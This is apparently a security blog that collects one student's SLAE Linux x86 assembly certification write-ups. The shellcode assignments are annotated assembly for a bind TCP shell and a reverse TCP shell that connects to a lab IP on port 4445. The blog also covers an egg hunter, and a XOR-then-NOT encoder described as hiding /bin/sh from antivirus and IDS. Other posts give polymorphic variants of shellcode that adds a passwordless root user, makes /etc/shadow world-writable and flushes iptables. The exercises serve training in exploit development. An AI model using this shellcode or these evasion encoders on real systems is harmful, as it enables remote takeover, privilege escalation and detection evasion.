Normal view

There are new articles available, click to refresh the page.
Before yesterdayPyt3ra Security Blogs

Shellcode Polymorphism

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
GitHub:

SLAE Assignment #6 - Polymorphic
     - Create a polymorphic version of 3 shellcodes from Shell-Storm
     - The polymorphic versions cannot be larger than 150% of the existing shellcode
     - Bonus: points for making it shorter in length than original



~~~~~~~~~//*****//~~~~~~~~~


0x1 - add root user (r00t) with no password to /etc/passwd
link: www.shell-storm.org/shellcode/files/shellcode-211.php

Original shellcode, assembled using ndisasm



For this, we can focus on lines 6, B, 15 and 25, 2A, 2F. The following instructions correspond to the two syscalls: open() and write (). The open() opens /etc//passwd and write() writes r00t::0:0::: I was able to change the values by running add and sub operations. I could have changed r00t::0:0::: as well using XOR operations or getting rid of the push (replaced with mov)  instructions, however, I would have exceeded the 150% of shellcode size limit.





0x2 - chmod (etc/shadow, 0777)
link: www.shell-storm.org/shellcode/files/shellcode-593.php

Here's the original shellcode with the size of 29 bytes disassembled using ndisasm. Similar to 0x1, lines 3, 8, and D show the file name /etc//shadow which means this will be the focus with the polymorphism process. Line 14 shows the permission 0777 which could also be polymorphed using some add or sub instructions but I didn't do it base on the %150 shellcode size requirement.



For the polymorphism, I used a combination of similar technique from 0x1 plus a JMP-CALL-POP technique. I subtracted 0x11111111 from each dword and then dynamically loaded the new values to the stack. After they are popped, I added 0x11111111 to recover the original value before they pushed back into the stack again. The size of the new shellcode is 44 bytes.


0x3 -iptables -F
link: www.shell-storm.org/shellcode/files/shellcode-368.php


The following instructions results: /sbin/iptables -F which then get executed using execve()




I used the JMP-CALL-POP method to change it up. Basically the /sbin/iptables -F hex codes from above are replaced. The new shellcode size is 58 bytes.


Thank you for reading.

Shellcode Analysis

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #5 - Analysis of Linux/x86 msfpayload shellcodes

          - Use GDB/ndisasm/libemu to dissect the functionality of the shellcode


~~~~~~~~~//*****//~~~~~~~~~


For this assignment, I will be using the first three Linux/x86 payloads generated by msfvenom (formerly msfpayload)


0x1 - linux/x86/adduser


A quick ndisasm gives us the following:

msfvenom -p linux/x86/adduser -f raw | ndisasm-u -



The first obvious ones are the 4-dwords:

           push dword 0x64777373
           push dword 0x61702f2f
           push dword 0x6374652f

The following dwords (in little-endian) are the hex representation of /etc//passwd as shown below:


However, it is still unclear as to what is being done to the /etc//passwd file. I think this is where we can use gdb to see what system calls are being invoked.

I generated the shellcode from msfvenom, loaded it in shellcode.c, compiled and loaded in gdb.




Once loaded in gdb...we first set a breakpoint for shellcode: break *&code 



We can see again the /etc//passwd in lines +15, +20, +25. We can also see several int 0x80 (lines +7, +35, +86, +91) for the system calls. We can add breakpoints on these lines to see what system calls are loaded into eax. 


Note: Here is a list of all the system calls with their corresponding call numbers found in /usr/include/i86-linux-gnu/asm/unistd_32.h


Syscall #1:  eax has 46 or setgid() loaded to it.



setgid() call is pretty straight forward. This call sets a user's group id. In this case, the group id is set to 0 as seen in the first two lines. The function calls only require one argument, in this case 0 is loaded into ebx (mov ebx, ecx) as the argument. 

                                                  root@kali:~/SLAE# id
uid=0(root) gid=0(root) groups=0(root)



                   
Syscall #2: eax has 5 or open() loaded to it.


open() here opens /etc/passwd file for the pathname and sets the flags to O_RDWR (Read/Write). This step will require root access hence why setgid()  was called first and set the user's group id to 0.

                      
                             push   0x64777373
                             push   0x61702f2f
                             push   0x6374652f




Syscall #3: eax has 4 or write() loaded to it.


write() has 3 arguments (fd, *buf, count). count writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd.



The following is what gets written in to /etc/passwd file.
USER=test
PASS=password (in this case it is hashed)
SHELL=/bin/bash



syscall #4: eax has 1 or exit() loaded to it....enough said.




0x2 - linux/x86/chmod

We again generate a shellcode with the following options:

FILE=/home/slae/test.txt
MODE=0777





Compile and we load the file in gdb.


We put a breakpoint at the system  call @ +37 (0x804a065)

Syscall: eax has 15 or chmod() loaded to it.



chmod() requires two arguments: pathname and mode

pathname: /home/slae/test.txt (ebx)



mode: 0777 (ecx) 

Here we can see 0x1ff (0777) pushed to the stack and popped into ecx


0x3 - linux/x86/exec

We generate a shellcode with the following option:

CMD=ifconfig



Compile and load it in gdb


We put a breakpoint at the system call @ +42 (0x0804a06a)

syscall: eax has 11 or execve() loaded to it.



Here we see the first part of the string for the command /bin/sh -c loaded into ebx.





The next string should be ifconfig, however, I couldn't find it using gdb. I ended up using ndisasm for this next step.

 
Call dword 0x26 is what we are looking for. Looking at 1D to 24, we can see that these are the opcodes for ifconfig. 


Furthermore, plugging the next opcodes (26 through 29) shows how the entire command string (/bin/sh -c ifconfig) is pushed into the stack (esp), and loaded into ecx




Thank you for reading.

Shellcode Encoder

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #4 - Encoder
 - Create a custom encoding scheme


~~~~~~~~~//*****//~~~~~~~~~



For this assignment,  we will be encoding an execve shellcode that spawns a /bins/sh using XOR and then NOT encoding The idea behind encoding is that we can alter opcodes without altering its functionality. For instance, using the shellcode below, it is pretty clear that our shellcode contains \x2f\x2f\x73\x68\x2f\x62\x69\x6e which translates to //bin/sh. Among other things, this is something that could be easily caught by Anti-virus (AV) or Intrusion  Detection System (IDS).

Below is the original execve-stack.nasm file and its corresponding opcodes/shellcode.






Once we get the original shellcode...I used python for encoding which will be a two-step process: XOR encoding first, then NOT encoding the result of the first step.

Here we initialize it with our original shellcode from execve-stack.nasm file:


The first step is the  XOR encoding. For this step, I am going through each byte of the original shellcode and XOR'ng it with 0xaa.


The second step is to encode each byte of the result from XOR encoding, with a NOT encoding.




Below is the output of the encoder python script. I am printing both XOR and NOT encoded shellcodes however, we will only need the NOT encoded shellcode for our decoder.



With the 'XOR then NOT' encoded shellcode, we are now ready to create our decoder to revert or decode it back to the original shellcode.

For this step, I am using the jmp-pop-call method again. We load the encoded shellcode into the stack by using the call instruction. We then pop it and load it into a register (esi for this one). We can then loop through each byte of the encoded shellcode loaded in esi. 

We first do a NOT then followed by XOR 0xaa.

Below shows the encoding and decoding scheme for the first byte

encoding: 0x31---> 0x9b (0x31 XOR 0xaa) -----> 0x64 (NOT 0x9b & 0xff)
decoding: 0x64---> 09xb (NOT 0x64 & 0xff) ---> 0x31 (0x9b XOR 0xaa)

...and here's the complete nasm file with our decoder.



We compile then generate a new shellcode using objdump.


We update our shellcode.c file, compile it and execute.

Note that with this the new shellcode, it shows that we can 'hide' the //bin/sh while maintaining the functionality.


SUCCESS!


Egg Hunter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #3 - Egghunter
        

          - Create a working demo of the egg hunter

~~~~~~~~~//*****//~~~~~~~~~


For the 3rd assignment, I will be creating an 'egg hunter' shellcode. This wasn't covered in the SLAE course. As mentioned by a lot of SLAE blogs, a good source is from skape research paper. My shellcode did not deviate too much from what skape has shown. I created some labels to make it more readable and easier to follow the flow of instructions.

What is an egg_hunter? Why do we need it?

An egg hunter is a shellcode that points to another shellcode. It is basically a staged shellcode where the egg hunter shellcode is stage one while the actual shellcode that spawns the shell (reverse, bind, meterpreter, etc) is stage two. It is needed during an exploit development (i.e. buffer overflow) where the application only allows a small space for a shellcode--too small for the stage two shellcode, however it has enough address space for stage one.

This is accomplished by using an 'egg(s)' which is a unique 8-byte opcode (or hex). The egg gets loaded into both the stage 1 and stage 2 shellcodes. When stage one shellcode executes, it searches for the unique 8-byte egg and transfers execution control (stage 2).

Here I globally defined egg with the following and then initialized eax, ebx, ecx, edx registers:

       %define _EGG                    0x50905090

       xor ebx, ebx                         ;remove x00/NULL byte
       mov ebx  _EGG                   ;move 0x50905090 egg into ebx register
       xor ecx, ecx                         ;remove x00/NULL byte  
       mul ecx                                ;intializes eax, ecx, edx with x000000000 value


We are now ready to do some system calls. According to skape, two system calls can be used: access() and sigaction(). For this write-up, I will only be using access().


We will be using the *pathname pointer argument to validate the address that will contain our egg.

 I globally defined two more variables: the access() syscall and EFAULT

      %define _SYSCALL_ERR       ;0xf2
      %define __NR_access              ;0x21

...and created two labels: NEXT_PAGEFILE and NEXT_ADDRESS

The first label is used to switch to the next page if an invalid address memory is returned with the syscall...each pagefile/PAGESIZE contains 4096 bytes. This is accomplished using an OR instruction

NEXT_PAGEFILE:

      or dx, 0xfff                                 ;note that edx is the pointed *pathname
                                                         ;0xffff == 4095

The second label will be our meat and potatoes. Within this label or procedure, we will be calling the access(2) syscall, compare the results (egg hunting), and loop through the address space.

NEXT_ADDRESS:

        inc edx                               ;increments edx, checks next address if it contains the egg
        pusha                                 ;push eax, ebx, ecx, edx....these registers are used multiple 
                                                   ;pushing them to the stack to preserve values when popped
        lea ebx, [edx +4]
        xor eax, eax                      ;remove x00/NULL byte
        mov al, __NR_access       ;syscall 33 for access(2)
        int 0x80                            ;interrupt/execute

        ;egg hunting begins

        cmp al, SYSCALL_ERR ;compares return value of al to 0xf2 (EFAULT)
        popa                                 ;branch, pop eax, ebx, ecx, edx
        jz NEXT_PAGEFILE     ;al return value == EFAULT value, invalid address memory
                                                 ;move to the next PAGESIZE

        cmp [edx], ebx                 ;if al retun value != EFAULT value, execute this instruction
                                                 ;compares the egg with edx value
        jnz NEXT_ADDRESS    ;not EFAULT but _EGG not found, loop again


        cmp[edx +4], ebx             ;_EGG found, test for the next 4 byte of the _EGG
       jnz NEXT_ADDRESS     ;if next 4 bytes of edx value !=_EGG, loop again

       jmp edx                             ;finally, 8 bytes of _EGG found, jmp to address of edx     

We compile our nasm file and obtain our shellcode using objdump.


We now have our stage one shellcode and for the stage two shellcode, I will be using the reverse TCP shellcode from SLAE Assignment #2.

I updated the shellcode.c file to include both stage one and stage two shellcodes as seen below.



For testing, I am using my kali box again to receive the reverse TCP shell. We compile our shellcode.c, open a listener in Kali and run the exploit.



SUCCESS!!



Reverse TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #2 - Create a Shell_Reverse_TCP shellcode
      

      - Reverse connects to configured IP and Port
      - Execs shell on successful connection
      - IP and Port should be easily configurable

~~~~~~~~~~//*****//~~~~~~~~~~


Creating a REVERSE_TCP shell consist of 3 functions

0x1 socket
0x2 connect
0x3 execve



0x1 - socket

Similar to assignment #1, the first thing we need to do is set-up our socket. This can be accomplished by pushing the following parameters into the stack.

We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)

                push 0x6                ;TCP or 0x6
               push 0x1               ;SOCK_STREAM or 0x1
              push 0x2               ;AF_INET or 0x2

We can then invoke the socketcall() system call, as shown below:

               xor eax, eax            ;remove x00/NULL byte
               mov al, 0x66            ;syscall 102 for socketcall
               xor ebx, ebx            ;remove x00/NULL byte
               mov bl, 0x1             ;net.h SYS_SOCKET 1 (0x1)
               xor ecx, ecx            ;remove x00/NULL byte
              mov ecx, esp            ;arg to SYS_SOCKET
              int 0x80                ;interrupt/execute


              mov edi, eax            ;sockfd, store return value of eax into edi


0x2 - connect

Once our socket is set-up, the next step is to invoke the connect() system call. This will be used to connect back to the listening machine, through the socket using an IP address and Port destination.

Below shows what we need for the connect():



One main difference with reverse shell vs. a bind shell is that we need both the IP and port of the listening machine for the reverse shell. Specifically, we use 192.168.199.128 and port 4445 as the IP and port respectively. We load both the IP and port address into the stack using jmp-pop-call method again. We first do a jmp to the label that contains our IP and port. '192.168.199.1304445' is then loaded to the stack once the call command is called. We can then call the pop esi instruction which loads the '192.168.199.1304445' into the esi register. Finally, to split the IP and port we do a push dword[esi] which pushes the first 4 bytes (192.168.199.130) and then a push word[esi +4] which pushes the last two bytes (4445).

We then call the socketcall() and SYS_CONNECT.


   reverse_jump:

        jmp short reverse_ip_port


    connect:

        ;int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen$


        pop esi                            ;pops port+IP (total of 6 bytes), ESP addr to e$
        xor eax, eax                    ;removes x00/NULL byte
        xor ecx, ecx                     ;removes x00/NULL byte
        push dword[esi]              ;push IP (first 4 bytes of esi)
        push word[esi +4]           ;push PORT (last 2 bytes of esi)
        mov al, 0x2                      ;AF_INET IPV4
        push ax
        mov eax, esp                    ;store stack address into edc (struct sockaddr)
        push 0x10                        ;store length addr on stack
        push eax                          ;push struct sockaddr to the stack
        push edi                           ;sockfd from th eax _start
        xor eax, eax                     ;removes x00/NULL byte
        mov al, 0x66                    ;syscall 102 for socketcall
        xor ebx, ebx                     ;removes x00/NULL byte
        mov bl, 0x03                    ;net.h SYS_CONNECT 3
        mov ecx, esp                    ;arg for SYS_CONNECT
        int 0x80



    reverse_ip_port:

        call connect

        reverse_ip dd 0x82c7a8c0       ;192.168.199.130, hex in little endian
        reverse_port dw 0x5d11          ;port 4445, hex in little endian



0x3 - execve

Before execve() syscall can be invoked, we have to set up dup2() calls to ensure all the std in/out/error goes through the socket. We use the same technique utilized in assignment #1.

   change_fd:

        ;multiple dup2() to ensure that stdin, stdout, std error will
        ;go through the socket connection

        xor ecx, ecx            ;removes 0x00/NULL byte, 0 (std in)
        xor eax, eax            ;removes 0x00/NULL byte
        xor ebx, ebx            ;removes 0x00/NULL byte
        mov ebx, edi            ;sockfd from the eax _start
        mov al, 0x3f            ;syscall 63 for dup2
        int 0x80                ;interrupt/execute

        mov al, 0x3f            ;syscall 63 for dup2
        inc ecx                 ;+1 to cx, 1 (std out)
        int 0x80                ;interrupt/execute

        mov al, 0x3f            ;syscall 63 for dup2
        inc ecx                 ;+1 to ecx, 2 (std error)
        int 0x80                ;interrupt/execute


Shell time! Shells for everyone!

This is no different than assignment #1 shell. We use execve() syscall to invoke a /bin/sh, however this time it sends the file std in/out back to the listening machine.

  execve:
         xor eax, eax             ;removes x00/NULL byte
         push eax                   ;push first null dword

         push 0x68732f2f      ;hs//
         push 0x6e69622f      ;nib/

         mov ebx, esp             ;save stack pointer in ebx

         push eax                    ;push null byte terminator
         mov edx, esp             ;moves address of 0x00hs//nib/ into edx

         push ebx                    
         mov ecx, esp          

         mov al, 0xb                ;syscall 11 for execve
         int 0x80


Testing our reverse shell

First, we start with compiling our nasm file into executable and then opening up a listener in our Kali box.




Execute the file and we get a reverse TCP connection back to our kali


SUCCESS...our reverse shell works.


We then use objdump to get our actual shellcode...


Copy the shellcode into our c file, test reverse shell again and we get another successful reverse shell to the kali listener.








SLAE Certification

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

~~~~~~~~~//*****//~~~~~~~~~

I started my offsec journey back in Feb 2007 when I registered for Offensive Security Certified Professional (OSCP) and completed the certification in June of that same year. Almost 3 years later, I finally decided to start on Offensive Security Certified Expert (OSCE) and one of the baseline requirements for this certification is a familiarity with Linux assembly language. Several OSCE preparation/exam reviews pointed to Security Tubes Linux Assembly (SLAE-32 bit) course as a good course to prepare for OSCE. The course is provided at an affordable price of $130 and the certification is really unique. After completing the course, students are required to complete seven assignments (listed below) to obtain the certification.

SLAE Assignment #1 - Bind TCP Shell
SLAE Assignment #2 - Reverse TCP Shell
SLAE Assignment #3 - Egg Hunter
SLAE Assignment #4 - Encoder
SLAE Assignment #5 - Shellcode Analysis
SLAE Assignment #6 - Polymorphism
SLAE Assignment #7 - Crypter 

Shout out to Vivek for doing an amazing job teaching the course. It was a perfect blend of the crawl, walk, run--from learning the basics of assembly registers to operations/conditions/controls/loops, creating shellcodes, and finally creating encoders/polymorphism/crypters. 

Bind TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517

Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #1 - Create a Shell_BIND_TCP Shellcode

    - Binds to a port
    - Execs Shell on incoming connection
    - Port number should be easily configurable


~~~~~~~~~//*****//~~~~~~~~~



Creating a BIND_TCP shell can be broken down into 4 functions.

0x1 socket
0x2 connect
0x3 execve
0x4 accept
0x5 execve


... let us begin


0x1 - socket

First, we create a socket. socket() requires 3 arguments: domain, type, protocol as seen below.


domain = AF_INET or 0x2


type = SOCK_STREAM or 0x1


protocol = TCP or 0x6


We will also be using this net.h file when we invoke the syscalls which are the networking handling part of the kernel.



We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)

               push 0x6
               push 0x1
               push 0x2

Once the socket has been created, we then invoke the socketcall() syscall



             xor eax, eax              ;remove x00/NULL byte
             mov al, 0x66             ;syscall 102 (x66) for socketcall
             xor ebx, ebx             ;remove x00/NULL byte
             mov bl, 0x1              ;net.h SYS_SOCKET 1 (0x1)
             xor ecx, ecx             ;remove x00/NULL byte
            mov ecx, esp             ;arg 2, esp address to ecx
            int 0x80                    ;interrupt/excute

            mov edi, eax             ;sockfd, this will be referenced throughout the 

0x2 -bind

One common concept in SLAE course is the use of JMP-CALL-POP which allows a way to dynamically access addresses. This is because if a call instruction is used, the next instruction is automatically loaded into the stack.



          bind:
                jmp short port_to_blind        

         call_bind:
               pop esi                  ; pops ESP addr
              xor eax, eax          ;remove x00/NULL byte
              push eax               ;push eax NULL value to the stack
              push word[esi]     ;push actual port number to the stac, word=2 bytes
              mov al, 0x2          ;AF_INET IPv4
              push ax
              mov edx, esp        ;store stack addr (struct sockaddr)
              push 0x10            ;store length addr on stack
              push edx              ;push strct sockaddr to the stack
              push edi               ;sockfd from the eax _start
              xor eax, eax         ;remove x00/NULL byte
              mov al, 0x66        ;syscall 102 for socketcall
              mov bl, 0x02        ;net.h SYS_BIND 2 (0x02)
              mov ecx, esp        ;arg for SYS_BIND
              int 0x80               ;interrupt/execute

         port_to_bind:
              call call_bind
              port_number dw 0x5d11  ;port 4445 (0x115d)
                                                        ;this gets pushed to the stack after the call instruction

0x3 - listen


The listen() syscall is pretty straightforward.


            push 0x1                         ; int backlog
            push edi                          ; sockfd from eax _start
           xor eax, eax                    ;remove x00/NULL byte
           mov al, 0x66                   ;syscall 102 for socketcal
           xor ebx, ebx                    ;remove x00/NULL byte
          mov bl, 0x4                      ;net.h SYS_LISTEN 4
          xor ecx, ecx                     ;remove x00/NULL byte
          mov ecx, esp                    ;arg for SYS_LISTEN
          int 0x80                           ;interrupt/execute

0x4 - accept

Likewise, accept() is pretty straight forward.



             xor ear, eax                  ;remove x00/NULL byte
             push eax                       ;push NULL value to addrlen
             xor ebx, ebx                 ;remove x00/NULL byte
            push ebx                       ;push NULL value to addr
            push edi                        ;sockfd from eax _start
            mov al, 0x66                 ;syscall 102 for socketcall
            mov bl, 0x5                   ;net.h SYS_ACCEPT 5
            xor ecx, ecx                  ;remove x00/NULL byte
            mov ecx, esp                 ;arg for SYS_ACCEPT
            int 0x80                         ;interrupt/execute

0x4a - change_fd


This is all the dup2() functions which ensure file /bin/sh goes through the socket connection

       
            mov ebx, eax                  ;moves fd from accept to ebx
            xor ecx, ecx                    ;removes 0x00/NULL byte, 0 (std in)
            xor eax, eax                   ;removes 0x00/NULL byte
            mov al, 0x3f                  ;syscall 63 for dup2
            int 0x80                         ;interrupt/execute

            mov al,0x3f                   ;syscall 63 for dup2
            inc ecx                           ;+1 to ecx, 1 (std out)
            int 0x80                         ;interrupt/execute

            mov al, 0x3f                  ;syscall 63 for dup2
            inc ecx                           ;+1 to ecx, 2 (std error)
            int 0x80                         ;interrupt/execute

0x5 - execve

At this point we have successfully set-up our socket() and we can establish a bind() port, listen() on incoming connections and accept() it. We are now ready to run our execve(). Once the connection is established, execve will be used to execute /bin/sh.


The following instructions are taken directly from the execve module of the SLAE course.

             xor eax, eax                 ;removes x00/NULL byte
             push eax                      ;push first null dword

             push 0x68732f2f          ;hs// 
             push 0x6e69622f          ;nib/

              mov ebx, esp              ;save stack pointer in ebx
             push eax                       ; push null byte as 'null byte terminator'
             mov edx, esp               ;moves address of 0x00hs//nib/ into ecx

             push ebx
             mov exc, esp

             mov al, 0xb                 ; syscall 11 for execve
             int 0x80


And we are done!

Testing our bind shell.

We compile nasm file and execute it.



Then using another machine (Kali), I connect to the ubuntu which spawns /bin/sh shell and we can run commands remotely.

BT IP: 192.168.199.128
Ubuntu IP: 192.168.199.129


We can also run the netstat command in the ubuntu machine to verify the established connection between the BT and Ubuntu machines:

Success..we can see the connection established.


Finally, we use objdump to obtain the shellcode from our executable


***Note the last 2 bytes of the shellcode is the port to bind on. Keeping in mind little-endian structure. We should be able to just change the last 2 bytes of the shellcode to configure a different port to bind on.

Here's an example of using the shellcode with a .c program




We compile shellcode.c, execute it and connect to 4445 from out BT machine.



SUCCESS!






❌
❌